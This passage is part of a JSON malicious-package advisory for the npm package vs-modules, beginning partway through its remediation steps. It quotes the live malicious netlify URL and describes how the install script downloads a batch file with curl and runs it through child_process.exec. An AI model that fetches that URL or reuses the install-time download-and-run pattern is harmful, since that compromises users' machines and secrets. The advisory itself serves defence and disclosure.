If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

Deobfuscation shows the script reconstructs the plain-HTTP URL http://whaomydaddy.bts-the-time-in-shanghai.netlify.app/hey.bat, downloads it into %TEMP% via `curl -L -o \u003cdest\u003e \u003curl\u003e`, and immediately runs the batch file via child_process.exec. The destination is an anonymous netlify subdomain over plain HTTP with no pinning or integrity check, so any content served at that URL executes on the installer's host at install time. The package's stated purpose (a kanban/utility module) is unrelated to fetching and executing a Windows batch file from an external host.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in vs-modules (npm)","id":"MAL-2026-15564","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"vs-modules","purl":"pkg:npm/vs-modules","source":"MAL-2026-15564"}],"products":null,"published":"2026-08-29","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-15564/"}
